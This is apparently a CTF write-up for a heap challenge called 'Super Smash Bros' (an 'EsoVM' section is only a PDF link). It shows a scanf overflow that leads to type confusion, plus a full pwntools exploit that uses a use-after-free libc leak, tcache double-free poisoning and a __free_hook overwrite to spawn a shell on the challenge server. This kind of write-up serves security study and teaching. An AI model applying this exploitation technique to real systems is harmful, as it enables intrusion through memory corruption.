## EsoVM
[esovm](esovm.pdf)
## Super Smash Bros
In this challenge a simple file system is implemented, here is the data structures
```assembly00000000 file            struc ; (sizeof=0x80, mappedto_6)00000000 type            db ?00000001 dir_name        db 38 dup(?)00000027 data            fdata ?00000080 file            ends
00000000 fdata           union ; (sizeof=0x59, mappedto_8)00000000 dir_files       db 89 dup(?)00000000 file_data       filedata ?00000000 fdata           ends
00000000 filedata        struc ; (sizeof=0x59, mappedto_9)00000000 isbig           db ?00000001 pbuf            dq ?00000009 buf             db 80 dup(?)00000059 filedata        ends
00000000 fs              struc ; (sizeof=0x8000, mappedto_7)00000000 files           file 256 dup(?)00008000 fs              ends```
Here is a overflow when `add_file` is called
```c__isoc99_scanf("%90s", v4->data.file_data.buf);// overflow```
However, what we can change is the `type` field only, so we can cause the type confusion.
Here is the exploit, I think my idea is explained well in the comments :D
```pythonfrom pwn import *
g_local=1context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local:	sh = process("./ssb")	gdb.attach(sh)else:	sh = remote("34.85.75.40", 31000)
sh.recvuntil("> ")
def add_file(name, size, data):	sh.sendline("2")	sh.recvuntil("name: ")	sh.sendline(name)	sh.recvuntil("size: ")	sh.sendline(str(size))	sh.send(data)	sh.recvuntil("> ")
def input_name(cmd, name):	sh.sendline(cmd)	sh.recvuntil("name: ")	sh.sendline(name)	sh.recvuntil("> ")
add_dir = lambda name : input_name('3', name)remove = lambda name : input_name('6', name)change_dir = lambda name : input_name('5', name)
def show_file(name):	sh.sendline('4')	sh.recvuntil("name: ")	sh.sendline(name)	ret = sh.recvuntil('\n')	sh.recvuntil("> ")	return ret[:-1]
# 0. create 1+8 big files, 1 small file, 1 big file#	last big file should have pdata address LSB==0
# make LSB of new chunk == 0x00add_file('prepad', 0x80, 'prepad')
# fill tcachefor i in xrange(8):	add_file(str(i), 0x80, str(i))for i in xrange(7):	remove(str(i))
add_file("tmp", 0x10, "tmp\n")add_file('8', 0x60, '8') # will rewrite its address
# 1. big file -> directoryremove("tmp")add_file("overflow", 0x10, "A" * 0x50 + '\x01' + 'hacked\n')
# 1.1. fill index 0x90add_dir("d1")change_dir("d1")for i in xrange(0x59):	add_file("pad", 0x10, "pad\n")change_dir("..")#0x5a
add_dir("d2")change_dir("d2")for i in xrange(0x90 - 4 - 0x5a - 2):	add_file("pad", 0x10, "pad\n")add_file("0x90", 0x10, "0x90\n")change_dir("..")
# 2. cd into that directory# 3. remove dir_files[1],#	so LSB of address is cleared to 0,#	which is another big file datachange_dir("hacked")remove("0x90")change_dir("..")
# 4. change it back to big fileremove("overflow")add_file("overflow", 0x10, "A" * 0x50 + '\x02' + 'hacked\n')
# 5. free, cause UAF, then leakremove("hacked")libc_addr = u64(show_file("7") + '\x00\x00') - 0x3ebca0print hex(libc_addr)
# 6. double free, poison 0x90 tcachefor i in xrange(7): # consume tcache	add_file(str(i), 0x80, str(i))add_file('8', 0x80, '8') #consume unsorted binremove('7')remove('8') # double free
# 7. rewrite free hookadd_file("rewrite_fd", 0x80, \	p64(libc_addr + e.symbols["__free_hook"]))add_file("consume", 0x80, p64(0))add_file("rewrite_free_hook", 0x80, \	p64(libc_addr + e.symbols["system"]))
# 8. get shelladd_file("shell", 0x80, "/bin/sh")
sh.sendline('6')sh.recvuntil("name: ")sh.sendline("shell")sh.interactive()```
